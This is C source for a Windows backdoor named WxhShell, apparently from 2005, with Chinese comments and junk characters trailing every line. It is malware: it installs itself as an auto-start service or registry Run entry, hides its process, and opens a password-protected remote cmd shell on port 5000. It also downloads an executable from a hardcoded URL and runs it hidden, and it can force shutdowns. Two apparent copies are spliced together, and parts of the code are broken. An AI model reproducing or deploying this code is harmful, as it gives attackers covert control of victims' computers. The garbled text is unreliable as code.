  case 'd': { 2=&4@c|cn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xXCSaBS~  
    if(Boot(SHUTDOWN)) C6$F.v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRo?7 _  
    else { 0""t`y&  
    closesocket(wsh); ot"3 3I  
    ExitThread(0); +zU[rhMk'  
    } : J3_g<@  
    break; Z'vic#  
    } x*Lm{c5+  
  // 获取shell qqmhh_[T  
  case 's': { yo#aX^v~y  
    CmdShell(wsh); , ;'y <GA  
    closesocket(wsh); )} I>"n  
    ExitThread(0); oj|\NlR  
    break; o@&Hc bN^  
  } vZDM}u  
  // 退出 #6'x-Z_  
  case 'x': { !)Y T_ib  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +A 4};]W|  
    CloseIt(wsh); $jpAnZR- /  
    break; (1t b  
    } d]89DdZk  
  // 离开 i'[o,dbE  
  case 'q': { *8ZaG]L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "sM 3NY  
    closesocket(wsh); E{Tvjh+  
    WSACleanup(); ?)8OC(B8q  
    exit(1); ;;A8TcE '  
    break; bJ~@ k,'  
        } SuO@LroxTB  
  } H=_ Wio  
  } =i`#0i2(  
$CgJ+ua\8  
  // 提示信息 i`FskEoijq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d x/NY1  
} #RJFJb/  
  } 4Jf6uhaE  
i9QL}d  
  return; l8$7N=Y  
} G2  
zqDG#}3f^  
// shell模块句柄 5._=m"Pl  
int CmdShell(SOCKET sock) Id<3'ky<N  
{ l"C)Ia&/  
STARTUPINFO si; 12Lc$\3P  
ZeroMemory(&si,sizeof(si)); 62}rZVJq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gbC!>LV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W=[.. d  
PROCESS_INFORMATION ProcessInfo; e=8z,.Xk  
char cmdline[]="cmd"; 2[O\"a%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jt*VD>ji  
  return 0; Zx1I&K\Cd  
} K+`$*vS~ws  
3U_,4qf  
// 自身启动模式 !oJ226>WI  
int StartFromService(void) i uNBw]  
{ Ah_T tj  
typedef struct -F]0Py8(  
{ )|Ho"VEmg  
  DWORD ExitStatus; |t1ij'N  
  DWORD PebBaseAddress; K|OowM4tv  
  DWORD AffinityMask; |%i|P)]  
  DWORD BasePriority; snl$v  
  ULONG UniqueProcessId; Tej&1'G  
  ULONG InheritedFromUniqueProcessId; !%1=|PX_  
}   PROCESS_BASIC_INFORMATION; 'K"7Tex  
jn+M L&  
PROCNTQSIP NtQueryInformationProcess; _YT9zG  
[i  ]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~&UfnO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -UhSy>m  
jP{W|9@ (  
  HANDLE             hProcess; T##_?=22I  
  PROCESS_BASIC_INFORMATION pbi; Y!+q3`-%T  
+FYQ7UE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  .L vg $d  
  if(NULL == hInst ) return 0; 3hPj;-u  
-9L [eYn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +RuPfw{z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^<}>]F_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W,g0n=2V  
z.xOT;t  
  if (!NtQueryInformationProcess) return 0; G OzV#  
gmU0/z3&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1 Ar6hA  
  if(!hProcess) return 0; bM9:h  
~kkwPs2V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h|DKD.  
DM73 Nn^5  
  CloseHandle(hProcess); }+" N '  
%)|_&Rh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \N?,6;%xB  
if(hProcess==NULL) return 0; )]^xy&:|  
9AbSt&#  
HMODULE hMod; B F,rZZL  
char procName[255]; s*XwU  
unsigned long cbNeeded; l$:.bwXXO  
XQH wu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M< T[%)v  
x;G~c5  
  CloseHandle(hProcess); p-6(>,+E[  
l5 FM>q  
if(strstr(procName,"services")) return 1; // 以服务启动 @ZD/y %e  
z@_ 9.n]  
  return 0; // 注册表启动 pO;BX5(x  
} ?;//%c8,.  
K?4/x4p@  
// 主模块 Ke_ & dgsq  
int StartWxhshell(LPSTR lpCmdLine) X~H ~k1  
{ bhI yq4N  
  SOCKET wsl; SiM1Go}#  
BOOL val=TRUE; Tt0:rQ.  
  int port=0; )bM #s">Y  
  struct sockaddr_in door; 8olR#>  
)k@+8Yfa1p  
  if(wscfg.ws_autoins) Install(); dZ kr#>  
%?4 G^f  
port=atoi(lpCmdLine); a zUEp8`|  
V&' :S{i  
if(port<=0) port=wscfg.ws_port; 0B4&!J  
^aW?0qsH  
  WSADATA data; T}?vp~./   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T%Vg0Y)P;  
hKT]M[Pv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V<#E!MG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T@GR Tg  
  door.sin_family = AF_INET; ,r,~1oV<"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0'DlsC/`*  
  door.sin_port = htons(port); Qe~2'Hw#9  
'k9?n)<DW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s1[_Pk;!  
closesocket(wsl); }> 51oBgk_  
return 1; Ozygr?*X  
} :\0q\2e[<  
CKAs3",  
  if(listen(wsl,2) == INVALID_SOCKET) { `q ;79t  
closesocket(wsl); +Oae3VFf;  
return 1; .>(?c92  
} O\5*p=v  
  Wxhshell(wsl); No\H QQ  
  WSACleanup(); [":[\D'  
5X7kZ!r  
return 0; ^UF]%qqOn  
)$#r6fQO  
} U`j[Ni}"  
4{'0-7}  
// 以NT服务方式启动 "CEy r0h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bb6 ~H  
{ $RQ7rL3g{  
DWORD   status = 0; "EoC7 1  
  DWORD   specificError = 0xfffffff; ~YIGOL"?  
J,s)Fu\j@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @-z#vJ5Qe{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M y:9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2$D *~~  
  serviceStatus.dwWin32ExitCode     = 0; Dm@wTt8N(  
  serviceStatus.dwServiceSpecificExitCode = 0; ASuxty  
  serviceStatus.dwCheckPoint       = 0; 9<An^lLK*  
  serviceStatus.dwWaitHint       = 0; LhZWK^!{S  
&`a$n2ycy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \WM*2&  
  if (hServiceStatusHandle==0) return; v-85` h  
+uF!.!}  
status = GetLastError(); AgsMk  
  if (status!=NO_ERROR) i^{.Q-  
{ r9Ux=W\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?VMj;+'tr  
    serviceStatus.dwCheckPoint       = 0; (}Ql#q K  
    serviceStatus.dwWaitHint       = 0; w;.'>ORC  
    serviceStatus.dwWin32ExitCode     = status; (/&IBd-  
    serviceStatus.dwServiceSpecificExitCode = specificError; PN{l)&K2.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1#AdEd[  
    return; F|*{Ma  
  } QZBXI3%#s  
~U:{~z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q dKxuG  
  serviceStatus.dwCheckPoint       = 0; pRtxyL"y  
  serviceStatus.dwWaitHint       = 0; lz!F{mR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [y y D-  
} TB] %?L:  
Xj^6ZJc  
// 处理NT服务事件,比如:启动、停止 h<.G^c)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 40pGu  
{ b 2n.v.$G  
switch(fdwControl) n4%|F'ma  
{ f\"Qgn  
case SERVICE_CONTROL_STOP: UXvk5t1  
  serviceStatus.dwWin32ExitCode = 0; pN<wO1\9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e-4XNL[F  
  serviceStatus.dwCheckPoint   = 0; rt%.IQdY  
  serviceStatus.dwWaitHint     = 0; 9<5SQ  
  {  C~vU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oC>QJ(o,8  
  } Ebp^-I9.d  
  return; S .rT5A[  
case SERVICE_CONTROL_PAUSE: mt7}1s,i[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4-[L^1%S[  
  break; KO(+%>^R  
case SERVICE_CONTROL_CONTINUE: QP|Ou*Qm)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wKhuUZj{  
  break; m~9Qx`fi`  
case SERVICE_CONTROL_INTERROGATE: p_Fc:%j>  
  break; lhTjG,U=  
}; Vg/{;uLAe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w[z^B&  
} _`WbR&d2Id  
~$>l@> xX  
// 标准应用程序主函数 ;Jt*s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .ag4i;hS8  
{ cu|gM[  
< pI2}  
// 获取操作系统版本 KotJ,s]B  
OsIsNt=GetOsVer(); S#qd#Zk|Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); goi.'8M|/b  
w4pU^&O  
  // 从命令行安装 6%NX|4_  
  if(strpbrk(lpCmdLine,"iI")) Install(); xL4qt=  
[P2$[|IM  
  // 下载执行文件 C$\|eC j  
if(wscfg.ws_downexe) { m/n_e g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bp2l%A;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9@Yk8  
} ?b2  
7f#[+i  
if(!OsIsNt) {  L5""  
// 如果时win9x,隐藏进程并且设置为注册表启动 STs~GOm-  
HideProc(); "K`B'/08^  
StartWxhshell(lpCmdLine); H r?G_L  
} ]y@8mb&  
else -,Cx|Nl  
  if(StartFromService()) EtJyI&7VK  
  // 以服务方式启动 Wm4@+ }  
  StartServiceCtrlDispatcher(DispatchTable); T5NO}bz  
else Rj9z '?a9  
  // 普通方式启动 lDO9GNz$  
  StartWxhshell(lpCmdLine); M~w =ZJ@  
2}>jq8Y47  
return 0; z`((l#(  
} BFt?%E/]  
p!>FPS  
m v%fX2.  
DCM ,|FE  
=========================================== EsXCi2]1  
.MMFN }1O  
gxpR#/(E~  
^kxkP}[Z.  
7 }>j [  
x;S v&  
" !p4w 8  
6+BR5Nr  
#include <stdio.h> LU~U>  
#include <string.h> [jve |-v=  
#include <windows.h> mf6?8!O}>  
#include <winsock2.h> Ra<mdteZT  
#include <winsvc.h> z+FhWze  
#include <urlmon.h> Q^/66"Z:Z  
/4+M0Pl  
#pragma comment (lib, "Ws2_32.lib") /]2-I_WB  
#pragma comment (lib, "urlmon.lib") ChF:N0w? p  
1@RctI_}  
#define MAX_USER   100 // 最大客户端连接数 xi8RE@gm  
#define BUF_SOCK   200 // sock buffer  d_gm'  
#define KEY_BUFF   255 // 输入 buffer o0&jel1a  
9d^o2Y o  
#define REBOOT     0   // 重启 23@e?A=C  
#define SHUTDOWN   1   // 关机 2<)63[YO  
L)&?$V  
#define DEF_PORT   5000 // 监听端口 pL8+gL  
He^+>XIam  
#define REG_LEN     16   // 注册表键长度 ]78I  
#define SVC_LEN     80   // NT服务名长度 G*2bYsnhX  
(p26TN;*$5  
// 从dll定义API KG)7hja<6g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rBa <s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D{I^_~-\5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ==`K$rM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RN238]K  
}MW*xtGV  
// wxhshell配置信息 P\KP)bkC  
struct WSCFG { ,.uu/qV}w  
  int ws_port;         // 监听端口 1U.se` L  
  char ws_passstr[REG_LEN]; // 口令 sy+1xnz  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q\&FuU  
  char ws_regname[REG_LEN]; // 注册表键名 dN\Byl(6  
  char ws_svcname[REG_LEN]; // 服务名 Brr{iBz*"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o1YX^-<[F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5 :6^533]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R<{bb'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Y}t~ Zfx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VlRN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SdBv?`u|g  
6|wi Zw  
}; {ER! 0w/  
db$Th=s[  
// default Wxhshell configuration !}|n3wQ  
struct WSCFG wscfg={DEF_PORT, uS<7X7|!0  
    "xuhuanlingzhe", K#H}=Y A  
    1, m]} E0  
    "Wxhshell", \~d|MP}"F:  
    "Wxhshell", &1YqPk  
            "WxhShell Service", 3Ba>a(E  
    "Wrsky Windows CmdShell Service", ,@jRe&6  
    "Please Input Your Password: ", wV-1B\m  
  1, 6js94ko[  
  "http://www.wrsky.com/wxhshell.exe", )(~4fA5j)  
  "Wxhshell.exe" 3P~I' FQ  
    }; *,5V;7OR  
n3t1'_/TU}  
// 消息定义模块 U*`7   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q( .d!CQ>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .^j #gE&B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0'*whhH  
char *msg_ws_ext="\n\rExit."; Y,?s-AB  
char *msg_ws_end="\n\rQuit."; MKLntX  
char *msg_ws_boot="\n\rReboot..."; ~Z!!wDHS  
char *msg_ws_poff="\n\rShutdown..."; |E-/b6G  
char *msg_ws_down="\n\rSave to "; S%<RV6{aiM  
w~+5FSdH  
char *msg_ws_err="\n\rErr!"; z=:<]j#=  
char *msg_ws_ok="\n\rOK!"; $ r)+7i  
pXf@Y}mH  
char ExeFile[MAX_PATH]; .ii9-+_  
int nUser = 0; IXNcn@tN  
HANDLE handles[MAX_USER]; j9Ptd$Uj  
int OsIsNt; { 2G9>'  
['ol]ZJ  
SERVICE_STATUS       serviceStatus; l:mC'aR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x*& OvI/o  
^IGutZov  
// 函数声明 t=syo->  
int Install(void); Fj}|uiOQUS  
int Uninstall(void); S%gb1's  
int DownloadFile(char *sURL, SOCKET wsh); i <0H W  
int Boot(int flag); J/S 47J~  
void HideProc(void); xO)vn\uJ  
int GetOsVer(void); c9imfA+e  
int Wxhshell(SOCKET wsl); 2-5AKm@K  
void TalkWithClient(void *cs); yPrp:%PS  
int CmdShell(SOCKET sock); FJKW=1 =,  
int StartFromService(void); yE[ -@3v  
int StartWxhshell(LPSTR lpCmdLine); :Y/i%#*1  
p>4$&-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e\x=4i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |3{DlZ2S  
CAyV#7[0  
// 数据结构和表定义 B5h-JON]-  
SERVICE_TABLE_ENTRY DispatchTable[] = s$`g%H>  
{ ;ZZ%(P=-  
{wscfg.ws_svcname, NTServiceMain}, <Z5ak4P  
{NULL, NULL} yL/EIN  
}; >yFEUD:  
G6K;3B  
// 自我安装 :acnrW>i[@  
int Install(void) Xr\|U89P  
{ HL$}Gh]q  
  char svExeFile[MAX_PATH]; G0Zq:kJ  
  HKEY key; \hN\px  
  strcpy(svExeFile,ExeFile); wLwAtjW)  
9z7^0Ruw  
// 如果是win9x系统,修改注册表设为自启动 *n mr4Q'v{  
if(!OsIsNt) { 2GOQ|Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]jiM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # D"TY-$.=  
  RegCloseKey(key); !Cxo4Twg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h<H.8.o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `$oGgz6ZT  
  RegCloseKey(key); ^|y6oj  
  return 0; <,p|3p3  
    } ].53t"*  
  } ~$XbYR-  
} m qgA  
else { Z7RGOZQ}G  
=H6"\`W  
// 如果是NT以上系统,安装为系统服务 3a PCi>i!_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :e>y= s>  
if (schSCManager!=0) lJ.:5$2H  
{ &ywAzGV{s  
  SC_HANDLE schService = CreateService vmdu9"H  
  ( K  +n  
  schSCManager, V5sH:A7GJ  
  wscfg.ws_svcname, !|6M,Rk_  
  wscfg.ws_svcdisp, YT\x'`>Q  
  SERVICE_ALL_ACCESS, ']1\nJP[=X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -q1vB8gjj  
  SERVICE_AUTO_START, {^>dQ+Sx7  
  SERVICE_ERROR_NORMAL, K] ;`  
  svExeFile, I>ks H  
  NULL, .),ql_sXr  
  NULL, t mAj  
  NULL, mh`~1aEr  
  NULL, k(1]!c4J0  
  NULL L,#ij!txS  
  ); ~EJVlj i  
  if (schService!=0) gi!{y   
  { -JOtvJIQI  
  CloseServiceHandle(schService); 2g shiY8_  
  CloseServiceHandle(schSCManager); *olV Y/'O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |9>?{ B\a  
  strcat(svExeFile,wscfg.ws_svcname); Xv ;} !z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ny|2Fcs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l`c&nf6  
  RegCloseKey(key); t.wB\Kmt\  
  return 0; vi?{H*H4c  
    } "@: b'm  
  } UjLZ!-}  
  CloseServiceHandle(schSCManager); +Hx$ABH  
} Wr+?ul*_  
} "e]1|~  
Pd-0u> k  
return 1; nXHU|5.I  
} {p J{UJKv?  
Hq9yu*!u  
// 自我卸载 <aps)vF  
int Uninstall(void) zK.%tx}+=k  
{ r #H(kJu,  
  HKEY key; xb/L AlJ  
9W{`$30  
if(!OsIsNt) { %|mRib|<C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (p4|,\+  
  RegDeleteValue(key,wscfg.ws_regname); c%p7?3Ry  
  RegCloseKey(key); l)y$c}U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,>(/}=Z.  
  RegDeleteValue(key,wscfg.ws_regname); /G)Y~1ASA%  
  RegCloseKey(key); & h)G>Sqc  
  return 0; ap|7./yg  
  } 9WN 4eC$  
}  N7%iz+  
} 3I0=^ >A  
else { OO)m{5r,{  
xWkCP2$?P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s9t`!  
if (schSCManager!=0) Glz)-hjJ:n  
{ [k~V77w 14  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tbz?th\#  
  if (schService!=0) Y1 e>P  
  { piq1cV  
  if(DeleteService(schService)!=0) { $`7cs}#  
  CloseServiceHandle(schService); .hI3Uv8[  
  CloseServiceHandle(schSCManager); 5Fh?YS=  
  return 0; 7R9S%  
  } ;3ZHm*xJx  
  CloseServiceHandle(schService);  t~mbe  
  } ~!o\uTVr  
  CloseServiceHandle(schSCManager); E]z Td$v6  
} tK9_]663  
} a.P7O!2Lp  
*>otz5]  
return 1; #"tHT<8u  
} MUo}Qi0K  
US8pT|/  
// 从指定url下载文件 $nR1AOm}.B  
int DownloadFile(char *sURL, SOCKET wsh) gFk~SJd  
{ N}ur0 'J0  
  HRESULT hr; Rw4"co6  
char seps[]= "/"; \ ;.W;!*  
char *token; 4-P'e%S  
char *file; g3B zi6$m  
char myURL[MAX_PATH]; G2#={g{  
char myFILE[MAX_PATH]; }9n{E-bj*  
:?1r.n  
strcpy(myURL,sURL); ;CbQ}k  
  token=strtok(myURL,seps); PnB%vS  
  while(token!=NULL) |&JCf =  
  { *=]hc@  
    file=token; jJ^p ?  
  token=strtok(NULL,seps); U`gQ7  
  } JffjGf-o  
,TrrqCw>  
GetCurrentDirectory(MAX_PATH,myFILE); d*7nz=0&$  
strcat(myFILE, "\\"); unE h  
strcat(myFILE, file); L_fu<W  
  send(wsh,myFILE,strlen(myFILE),0); >)g`;iO  
send(wsh,"...",3,0); j$l[OZ:#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W,</  
  if(hr==S_OK) 6nxX~k  
return 0; +5n,/YjS`  
else anwMG0  
return 1; YE<_a;yh1  
F+.:Ry FS  
} !Pnvqgp/  
<0my,hAK  
// 系统电源模块 Lf+M +^l  
int Boot(int flag) <uGc=Du  
{ a]NQlsE}l  
  HANDLE hToken; U=_O*n?N-d  
  TOKEN_PRIVILEGES tkp; (n'Mf  
HCP' V  
  if(OsIsNt) { 20[_eu)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >kK;IF9h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1+;Z0$edxz  
    tkp.PrivilegeCount = 1; 6?-vj2,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /15e-(Zz/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y8T%g(  
if(flag==REBOOT) { <0,c{e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IY$H M3t7  
  return 0; H]@M00C  
} K07b#`NF6  
else { ^8S'=Bk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <"I#lib  
  return 0; 0pP;[7k\  
} 83,ATQg  
  } D[) Z$+D4f  
  else { 9I0}:J;7  
if(flag==REBOOT) { %{$iN|%J%$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y`@:L'j  
  return 0; h+o-h4X  
} _~m@ SI  
else { `TvpKS5.Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ps3wg=ni[  
  return 0; 2CX'J8Sy  
} _97A9wHj  
} Z1j3F  
 6C6<,c   
return 1; w i,}sEoM  
} +an.z3?w  
D+Osz  
// win9x进程隐藏模块 h^E"eC  
void HideProc(void) , VT&  
{ 0pT?qsM2  
E"p;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XV"8R"u%Q  
  if ( hKernel != NULL ) '0z-duu  
  { ?Rlo<f:Mf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =aM(r6 C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P@ Oq'y[  
    FreeLibrary(hKernel); "F nH>g-  
  } o+e:H jZZ  
E<u6 js,  
return; v8Ga@*  
} y; LL^:rq  
4+fWIY1 "  
// 获取操作系统版本  /="~Jo  
int GetOsVer(void) {DzOXTI[Y  
{ X 4\  
  OSVERSIONINFO winfo; JQCQpn/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9r,)Bw!RP  
  GetVersionEx(&winfo); L4bx [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e nsou!l  
  return 1; CmyCne   
  else j9FG)0  
  return 0; y \M]\^[7  
} kXw&*B-/  
XcfvmlBoD-  
// 客户端句柄模块 [ +w=  
int Wxhshell(SOCKET wsl) '6Lw<#It  
{ 9F[k;Uw  
  SOCKET wsh; X?PcEAi;w  
  struct sockaddr_in client; M^f+R'Q3  
  DWORD myID; H_H3Gp  
g\;&Z  
  while(nUser<MAX_USER) aj>6q=R  
{ x+niY;Z E  
  int nSize=sizeof(client); WCf?_\cG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /l o;:)AiP  
  if(wsh==INVALID_SOCKET) return 1; ~.-o*  
#9Src\V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;- ~}g7$  
if(handles[nUser]==0) 'Z^-(xG,+  
  closesocket(wsh); C t-^-XD  
else  R d|#-7  
  nUser++; l_Ee us  
  } {<f |h)r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r$7zk<01  
>"}z % #  
  return 0; EZICH&_  
} F#<$yUf%  
PH6!T/2[  
// 关闭 socket 1?6zsA%N  
void CloseIt(SOCKET wsh) 3<c_`BWu  
{ M$@Donx  
closesocket(wsh); t@hE}R  
nUser--; ?4G/f<ou  
ExitThread(0); S5a?KU  
} /j}"4_. 8  
tQTVP2:Y  
// 客户端请求句柄 ;gE]*Y.Z.p  
void TalkWithClient(void *cs) |2ttdc.  
{ 0+H4sz%.  
m]XG7:}V0  
  SOCKET wsh=(SOCKET)cs; <G+IbUG:  
  char pwd[SVC_LEN]; =Fu~ 0Wc  
  char cmd[KEY_BUFF]; )I/K-zj  
char chr[1]; 3b9SyU2  
int i,j; Y/|wOm;|  
1/hk3m(C  
  while (nUser < MAX_USER) { [ \41  
o8Q+hZB}A  
if(wscfg.ws_passstr) { Qv v~nGq$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OE{PP9 eh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2.6F5&:($  
  //ZeroMemory(pwd,KEY_BUFF); 3G r:.V9=  
      i=0; BAy]&q|.  
  while(i<SVC_LEN) { 1-!q,q  
 ,m"0Bu2  
  // 设置超时 c)5d-3"  
  fd_set FdRead; Z+3j>_Ss  
  struct timeval TimeOut; -D?-ctFYj^  
  FD_ZERO(&FdRead); 8Qwn  
  FD_SET(wsh,&FdRead);  xRTr@  
  TimeOut.tv_sec=8; ke~S[bL%-  
  TimeOut.tv_usec=0; xD|/98  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xoT|fgb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0\/cTNN  
ZvSWIQ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); il403Ae0  
  pwd=chr[0]; B'@a36  
  if(chr[0]==0xd || chr[0]==0xa) { =x QLf4>  
  pwd=0; :<"b"{X"  
  break; v"Z`#Bi  
  } }\-"L/D?+  
  i++; z[E gMS!  
    } 5:T)hoF@  
_--kK+rU  
  // 如果是非法用户,关闭 socket (hb\1 wZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FxK2 1  
} =o<iBbK#|  
BS(XEmJn&j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M~o\K'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i5Rh^  
-_4ZT^.Lna  
while(1) { K]bw1K K  
Q+r8qnL'  
  ZeroMemory(cmd,KEY_BUFF); (*XSr Q  
5VLJ:I?0O  
      // 自动支持客户端 telnet标准   GELx S!  
  j=0; l&2}/A  
  while(j<KEY_BUFF) { 'IykIf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uyfH;9L5$  
  cmd[j]=chr[0]; `H#G/zOr  
  if(chr[0]==0xa || chr[0]==0xd) { s?}m~Pl  
  cmd[j]=0; a YC[15?'  
  break; P p]Ygt'u  
  } S,'y L7s  
  j++; u#>*"4Q  
    } L<` p;?   
q|r/%[[!o  
  // 下载文件 uy t'  
  if(strstr(cmd,"http://")) { kv)IG$S 0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z4UJo!{S  
  if(DownloadFile(cmd,wsh)) Kx@Papn|6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$Ad#Eu]M  
  else <-3_tu>l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|pPzEA>  
  } 6cm&=n_u  
